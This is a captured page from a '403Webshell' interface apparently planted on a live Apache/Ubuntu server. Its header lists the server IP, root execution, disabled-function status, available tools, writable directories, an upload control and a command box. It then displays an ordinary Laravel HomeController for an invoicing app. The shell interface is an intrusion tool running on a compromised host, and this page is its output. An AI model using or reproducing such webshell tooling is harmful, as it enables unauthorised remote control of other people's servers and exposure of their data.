403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/app/Http/Controllers/HomeController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Models\User;
use App\Models\Invoice;
use App\Models\Product;
use App\Models\LineItem;
use App\Models\InvoiceTemplate;
use Illuminate\Support\Arr;
use Auth;
use Mail;
use App\Mail\DailyActivitesMail;
use Carbon\Carbon;
class HomeController extends Controller
{
    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        $this->middleware('auth');
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Contracts\Support\Renderable
     */
    public function index()
    {   
        $cust_ids = Arr::flatten(Auth::user()->customer->toArray());
        $now = Carbon::now()->toDateString();
        $yesterday = Carbon::yesterday()->toDateString();
        
        //graph 
        $start = Carbon::now()->startOfMonth()->subMonthsNoOverflow()->toDateString();

         $end = Carbon::now()->subMonthsNoOverflow()->endOfMonth()->toDateString();
         $user_id = auth()->user()->id;

         $graphPrices = LineItem::where('posted_by', $user_id)->select(
            \DB::raw('sum(price) as sums'),
            \DB::raw('DATE_FORMAT(created_at,"%d") as day')
            
            )
            ->whereDate('created_at','>=', $start)->whereDate('created_at','<=', $end)
            ->groupBy('day')
            ->orderBy('created_at', 'ASC')
            ->get();//->keyBy('day')
          
            $arr = array([0,0]);
            foreach($graphPrices as $g)
            {
                $newarr = array_map('intval', [$g->day,$g->sums]);
                $arr[]= $newarr;
            }
        //total products
        $total_products = Product::where(['status'=>1,'posted_by'=> $user_id])->count('*');
        $low_products    =    Product::where(['status'=>1,'posted_by'=> $user_id])->where('qty','>=',0)->where('qty','<=',5)->count('*');
         //\DB::enableQueryLog();
        $today_sales =  LineItem::where('posted_by', $user_id)->select(
            \DB::raw('sum(price) as sums')
            
        )->whereDate('created_at','=', $now)
        ->first();

       $yesterday_sales =  LineItem::where('posted_by', $user_id)->select(
            \DB::raw('sum(price) as sums')
            
        )->whereDate('created_at','=', $yesterday)
        ->first();

      
        $yesterday_invoices =  Invoice::whereIn('customer_id',$cust_ids)->where('type',1)->whereDate('created_at','=', $yesterday)->count('*');
      
        $cust_ids = Arr::flatten(Auth::user()->customer->toArray());
        $invoices = Invoice::whereIn('customer_id',$cust_ids)->orderBy('created_at', 'DESC')
        //latest('created_at')
        ->take(5)->get();
       
        return view('dashboard',compact('invoices','arr','total_products','low_products','yesterday_sales','today_sales','yesterday_invoices'));
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Contracts\Support\Renderable
     */
    public function profile()
    {
        $id = auth()->user()->id;
        $user = User::findOrFail($id);
       // $invoice_templates = InvoiceTemplate::get(['img','name']);
        return view('admin.profile',compact('user'));
    }

    public function setting()
    {
        $id = auth()->user()->id;
        $user = User::findOrFail($id);
        $invoice_templates = InvoiceTemplate::get(['img','name']);
        return view('admin.settings',compact('user','invoice_templates'));
    }

    
      /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Contracts\Support\Renderable
     */
    public function updateProfile(Request $request ,$id)
    {
       
        $this->validate($request,[
            'name' => 'required_if:mode,profile|string|max:255',
            'email' => 'required_if:mode,profile|string|email|max:255|unique:users,email,'.$id,
            'phone' => 'digits:10',
            'gst' => 'numeric|required_if:mode,setting',
            'business' => 'required|string|max:255',
            'logo' => 'image',
           // 'industry_type'=>'required',
            'address' => 'string|max:255',            
            'city' => 'string',
            'state' => 'string',
            'country' => 'string',
            'pin' => 'digits:6',
            'invoice_template'=>'string|required_if:mode,setting',
            
        ]);
        
        
        $id = trim($id);
        $user = User::findOrFail($id);

         //image upload
    if($request->has('logo'))
    {
        $image = $request->file('logo');
        $img_name = strtolower(str_replace(" ","_" ,$request->name)).time();
        $ext = $image->getClientOriginalExtension();
        $logo = $img_name.".".$ext;
        $path  = 'public/uploads/logo';
        $image->move($path,$logo);
        $user->logo = $path.'/'.$logo;
        }
        if($request->mode == 'profile')
        {
            $user->name = $request->name; 
            $user->email = $request->email; 
            $user->phone = $request->phone; 
            $user->address = $request->address; 
            $user->city = $request->city; 
            $user->state = $request->state; 
            $user->country = $request->country; 
            $user->pin = $request->pin; 
            $user->business = $request->business;
        }
       else   if($request->mode == 'setting')
       {
           $user->gst_percent = $request->gst; 
      
       // $user->industry_type=$request->industry_type;
        $user->invoice_template = $request->invoice_template;
       }
     

        if($user->save())
        {
            return redirect()->back()->with('success','Profile Updated Successfully!!');
        }
        return redirect()->back()->with('fail','Fail!! To Update Profile');
    }

    public function sendDailyActivites()
    {
        $now = Carbon::now()->toDateString();
        $cust_ids = Arr::flatten(Auth::user()->customer->toArray());
        $user_id = auth()->user()->id;
        $today_sales =  LineItem::where('posted_by', $user_id)->select(
            \DB::raw('sum(price) as sums')
            
        )->whereDate('created_at','=', $now)
        ->first();

        $today_invoices =  Invoice::whereIn('customer_id',$cust_ids)->where('type',1)->whereDate('created_at','=', $now)->count('*');

        $data["email"] = auth()->user()->email;
        $data["title"] = "Today's activity details from EFB Billing";
        $data["today_sales"] = !is_null($today_sales->sums)?$today_sales->sums:0;
        $data["today_invoices"] = $today_invoices;
       
      
        Mail::to( $data["email"])->send(new DailyActivitesMail($data));
      
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit